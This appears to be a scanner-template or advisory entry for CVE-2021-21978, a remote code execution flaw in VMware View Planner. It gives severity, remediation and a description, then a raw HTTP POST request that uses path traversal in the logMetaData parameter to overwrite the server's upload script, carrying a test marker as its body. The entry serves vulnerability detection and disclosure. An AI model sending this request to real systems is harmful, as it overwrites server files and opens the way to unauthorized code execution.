| Title | VMware View Planner <4.6 SP1- Remote Code Execution |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Upgrade to VMware View Planner version 4.6 SP1 or later to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.90903 |
| CVE ID | CVE-2021-21978 |
| CWE ID | CWE-20 |
| Tags | cve2021 cve vmware rce packetstorm fileupload intrusive vkev vuln |
VMware View Planner 4.x prior to 4.6 Security Patch 1 contains a remote code execution vulnerability due to improper input validation and lack of authorization leading to arbitrary file upload in logupload web application. An unauthorized attacker with network access to View Planner Harness could upload and execute a specially crafted file leading to remote code execution within the logupload container.
POST /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22log_upload_wsgi.py%22%2C%20%22workloadID%22%3A%20%222%22%7D HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Content-Length: 185
Accept: text/html
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
Referer: http://www.victim.com
Accept-Encoding: gzip
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition: form-data; name="logfile"; filename=""
Content-Type: text/plain
POC_TEST
------WebKitFormBoundarySHHbUsfCoxlX1bpS
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